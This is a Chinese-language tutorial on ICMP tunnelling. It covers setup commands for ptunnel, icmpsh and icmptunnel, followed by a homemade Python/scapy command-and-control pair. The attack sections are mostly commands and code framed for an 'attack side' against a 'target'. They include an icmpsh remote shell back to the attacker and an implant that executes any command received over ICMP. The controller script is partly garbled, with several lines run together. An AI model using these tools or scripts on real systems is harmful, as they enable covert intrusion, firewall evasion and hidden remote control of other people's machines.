一 ICMP隧道简介
icmp协议简介
ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP的报文格式如下:
其中0-31是各种协议头部,剩下的就是data部分。常见的ping指令,在linux操作系统下,request和reply的data均为:!”#$%&’()+,-./01234567。
Request截图:
Reply截图:
在windwos环境下,ping的data部分为:abcdefghijklmnopqrstuvwabcdefghi
Data截图如下:
至此,对icmp协议有了简单的认识,下面就来谈谈什么是icmp隧道了……
icmp隧道简介
隧道是一种通过使用互联网络的基础设施在网络之间传递数据的方式,ICMP隧道是指将TCP连接通过ICMP包进行封装传送的一种方法。
二 ICMP隧道环境搭建
2.1 ptunnel
安装指令如下:
1)先安装依赖插件
yum install libpcap libpcap-devel flex bison -y
2)下载安装包
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
3)解压并安装
该工具适用于以下场景:
4台服务器:A、B、C、D;
其中,D欲访问C,A、D与C网络不连通,B与C可以ping通(即:允许ICMP协议通信),A、D与B网络连通;
在这种情况中即可以使用工具ptunnel构建ICMP通信隧道,实现D访问C。
解决方案具体如下。
1、假设场景
(1)入侵计算机A:192.168.1.1,操作系统Linux;
(2)代理服务器B:192.168.1.2,操作系统Linux;
(3)目标服务器C:192.168.1.3,操作系统Windows;
(4)客户端计算机D:192.168.1.4,操作系统Windows。
其中,D欲访问C,A、D与C网络不连通,B与C可以ping通(即:允许ICMP协议通信),A、D与B网络连通。
实现目标:客户端计算机D通过远程桌面(即端口3389)访问目标服务器C。
2、实现步骤
(1)首先必须在服务器A、B上安装ptunnel工具;安装工具之前必须首先安全libpcap库;
(2)在代理服务器B上以root级权限运行ptunnel工具,即在终端界面中输入命令:ptunnel
(3)在入侵计算机A上运行以下命令:
ptunnel -p 192.168.1.2 -lp 12345 -da 192.168.1.3 -dp 3389
命令释义:
- 参数-p:指定代理服务器,即此示例中的代理服务器B(192.168.1.2);
- 参数-lp:指定本地监听端口;
- 参数-da:指定欲访问的目标服务器;
- 参数-dp:指定欲访问的目标端口,与服务相关,此例中须访问远程桌面、故指定3389端口,如访问SSH服务、则指定端口22。
(4)万事俱备,在客户端计算机D上访问目标服务器C的远程桌面,运行以下命令:
mstsc /v:192.168.1.1:12345
2.2 icmpsh
1 安装
git clone https://github.com/inquisb/icmpsh.git
执行之前最重要的一步是在你的机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。
sysctl -w net.ipv4.icmp_echo_ignore_all=1
然后在攻击端执行以下指令
./icmpsh_m.py <attacker’s-IP> <target-IP>
在服务端执行以下指令
icmpsh.exe -t <Kali IP>
2.3 icmptunnel
在攻击端 执行以下操作
git clone https://github.com/jamesbarlow/icmptunnel.git
首先我们需要在两端设备上面禁止 ICMP 响应。下面这条命令会阻止内核响应 ping 数据包:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
随后安装
分别在服务端(被攻击端)和客户端(攻击端)执行下图操作
2.4 自制icmp隧道攻击
控制端代码如下:
#!/usr/bin/env python2# -*- coding: utf-8 -*-# @Time : 2020/1/6 2:52 PM# @File : icmp_c2.pyfrom scapy.all import *def main(): while True:
command = raw_input('# Enter command: ')
pinger = IP(dst="localhost")/ICMP(id=0x0001, seq=0x1)/command
send(pinger)
rx = sniff(count=1, timeout=2)
print(rx[0][Raw].load.decode('utf-8'))if __name__ == "__main__":
main()
被控端代码如下:
#!/usr/bin/env python3
import os
from scapy.all import *
def main():
while True:
# wait for the ICMP message containing the command from the C2 server
# to be received
rx = sniff(filter="icmp", count=1)
# strip down the packet to the payload itself
var = rx[0][Raw].load.decode('utf-8')
# run the command and save the result
res = os.popen(var).read()
# build the ICMP packet with the result as the payload
send(IP(dst="localhost")/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)
if __name__ == "__main__":
main()